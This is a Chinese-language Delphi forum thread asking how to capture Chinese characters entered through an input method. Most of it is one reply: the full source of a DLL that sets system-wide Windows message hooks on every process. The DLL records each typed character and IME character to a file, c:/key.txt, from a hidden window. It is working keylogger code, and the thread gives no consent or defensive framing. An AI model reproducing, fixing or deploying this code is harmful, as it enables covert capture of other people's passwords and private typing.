难题!怎样截获键盘输入的汉字?(200分)

  • 主题发起人 主题发起人 shawy
  • 开始时间 开始时间
键盘怎么输入汉字?输入法吧!
 
对,就是输入法输入的汉字,有没有办法截下来?
 
WM_IME_CHAR
 
我也想知道
 
我用以下代码可以截获部分窗口输入的汉字,在有些窗口则失灵<br>有没有谁知道是怎么回事?<br>library getkey;<br><br>uses<br>&nbsp; windows,<br>&nbsp; messages,<br>&nbsp; sysutils;<br><br>{$r *.res}<br><br>const<br><br>&nbsp; HookMemFileName='HookMemFile.DTA';<br>&nbsp; &nbsp;logfile='c:/key.txt';<br>type<br>&nbsp; PShared=^TShared;<br>&nbsp; PWin=^TWin;<br>&nbsp; TShared = record<br>&nbsp; &nbsp; HHGetMsgProc:HHook;<br>&nbsp; &nbsp; HHCallWndProc:HHook;<br>&nbsp; &nbsp; Self:integer;<br>&nbsp; &nbsp; Count:integer;<br>&nbsp; &nbsp; hinst:integer;<br>&nbsp; end;<br>&nbsp; TWin = record<br>&nbsp; &nbsp; Msg:TMsg;<br>&nbsp; &nbsp; wClass:TWndClass;<br>&nbsp; &nbsp; hMain:integer;<br>&nbsp; end;<br>var<br>&nbsp; MemFile:THandle;<br>&nbsp; Shared:PShared;<br>&nbsp; Win:TWin;<br>&nbsp; //Lastfocuswnd:hwnd=0;<br><br>procedure SaveInfo(str:string);stdcall;<br>var<br>&nbsp; f:textfile;<br>begin<br>&nbsp; assignfile(f,'c:/key.txt');<br>&nbsp; if fileexists('c:/key.txt')=false then rewrite(f)<br>&nbsp; else append(f);<br>&nbsp;if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')<br>&nbsp; else<br>&nbsp; write(f,str);<br>&nbsp; closefile(f);<br>end;<br><br>procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;<br>begin<br>&nbsp; if (uMessage=WM_CHAR) and (lParam&lt;&gt;1) then<br>&nbsp; begin<br>&nbsp; &nbsp; SaveInfo(format('%s',[chr(wparam and $ff)]));<br>&nbsp; &nbsp; inc(shared^.count);<br>&nbsp; &nbsp; if shared^.count&gt;60 then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; SaveInfo('#13#10');<br>&nbsp; &nbsp; &nbsp; shared^.count:=0;<br>&nbsp; &nbsp; end;<br>&nbsp; end;<br>&nbsp; if (uMessage=WM_IME_CHAR) then<br>&nbsp; begin<br>&nbsp; &nbsp; SaveInfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)]));<br>&nbsp; &nbsp; inc(shared^.count,2);<br>&nbsp; end;<br>end;<br><br>function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;<br>var<br>&nbsp; pcs:PMSG;<br>&nbsp; hd,uMsg,wP,lP:integer;<br>begin<br>&nbsp; pcs:=PMSG(lParam);<br>&nbsp; if (nCode&gt;=0) and (pcs&lt;&gt;nil) and (pcs^.hwnd&lt;&gt;0) then<br>&nbsp; begin<br>&nbsp; &nbsp; hd:=pcs^.hwnd;<br>&nbsp; &nbsp; uMsg:=pcs^.message;<br>&nbsp; &nbsp; wp:=pcs^.wParam;<br>&nbsp; &nbsp; lp:=pcs^.lParam;<br>&nbsp; &nbsp; HookProc(hd,uMsg,wp,lp);<br>&nbsp; end;<br>&nbsp; Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);<br><br>end;<br><br>function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;<br>var<br>&nbsp; pcs:PCWPSTRUCT;<br>&nbsp; hd,uMsg,wP,lP:integer;<br>begin<br>&nbsp; pcs:=PCWPSTRUCT(lParam);<br>&nbsp; if (nCode&gt;=0) and (pcs&lt;&gt;nil) and (pcs^.hwnd&lt;&gt;0) then<br>&nbsp; begin<br>&nbsp; &nbsp; hd:=pcs^.hwnd;<br>&nbsp; &nbsp; uMsg:=pcs^.message;<br>&nbsp; &nbsp; wp:=pcs^.wParam;<br>&nbsp; &nbsp; lp:=pcs^.lParam;<br>&nbsp; &nbsp; HookProc(hd,uMsg,wp,lp);<br>&nbsp; end;<br>&nbsp; Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);<br>end;<br><br>procedure SetHook(fSet:boolean);<br>begin<br>&nbsp; with shared^ do<br>&nbsp; if fSet=true then<br>&nbsp; begin<br>&nbsp; &nbsp; if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);<br>&nbsp; &nbsp; if HHCallWndProc=0 then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);<br>&nbsp; &nbsp; &nbsp; if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);<br>&nbsp; &nbsp; end;<br>&nbsp; end else<br>&nbsp; begin<br>&nbsp; &nbsp; if HHGetMsgProc&lt;&gt;0 then UnhookWindowsHookEx(HHGetMsgProc);<br>&nbsp; &nbsp; if HHCallWndProc&lt;&gt;0 then UnhookWindowsHookEx(HHCallWndProc);<br>&nbsp; &nbsp; HHGetMsgProc:=0;<br>&nbsp; &nbsp; HHCallWndProc:=0;<br>&nbsp; end;<br>end;<br><br>procedure Extro;<br>begin<br>&nbsp; UnmapViewOfFile(Shared);<br>&nbsp; CloseHandle(MemFile);<br>end;<br><br><br>function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;<br>begin<br>&nbsp; Result:=DefWindowProc(hWnd,Msg,wParam,lParam);<br>&nbsp; case Msg of<br>&nbsp; wm_destroy:<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; SetHook(False);<br>&nbsp; &nbsp; &nbsp; ExitThread(0);<br>&nbsp; &nbsp; &nbsp; freelibrary(shared^.hinst);<br>// &nbsp; &nbsp; &nbsp;TerminateThread();<br>&nbsp; &nbsp; &nbsp; //exitprocess(0);<br>&nbsp; &nbsp; end;<br>&nbsp; end;<br>end;<br><br>procedure run;stdcall;<br>begin<br>&nbsp; win.wClass.lpfnWndProc:= &nbsp; @WindowProc;<br>&nbsp; win.wClass.hInstance:= &nbsp; &nbsp; hInstance;<br>&nbsp; win.wClass.lpszClassName:='GetKey';<br>&nbsp; RegisterClass(win.wClass);<br>&nbsp; win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'GetKey',WS_CAPTION,0,0,0,1,0,0,hInstance,nil);<br>&nbsp; FillChar(Shared^,SizeOf(TShared),0);<br>&nbsp; shared^.self:=win.hmain;<br>&nbsp; shared^.hinst:=hinstance;<br>&nbsp; SetHook(true);<br>&nbsp; postmessage(findwindow('WinExec',nil),wm_destroy,0,0);<br>&nbsp; while(GetMessage(win.Msg,win.hmain,0,0))do<br>&nbsp; begin<br>&nbsp; &nbsp; TranslateMessage(win.Msg);<br>&nbsp; &nbsp; DispatchMessage(win.Msg);<br>&nbsp; end;<br>end;<br><br>procedure DllEntryPoint(fdwReason:DWORD);<br>begin<br>&nbsp; case fdwReason of<br>&nbsp; DLL_PROCESS_DETACH:<br>&nbsp; &nbsp; Extro;<br>&nbsp; end;<br>end;<br><br>exports run;<br><br>begin<br>&nbsp; //建立内存映象文件,用来保存全局变量<br>&nbsp; MemFile:=CreateFileMapping($FFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);<br>&nbsp; Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,1,0);<br>&nbsp; DLLProc:=@DllEntryPoint;<br>end.<br>
 

Similar threads

D
回复
0
查看
848
DelphiTeacher的专栏
D
S
回复
0
查看
3K
SUNSTONE的Delphi笔记
S
后退
顶部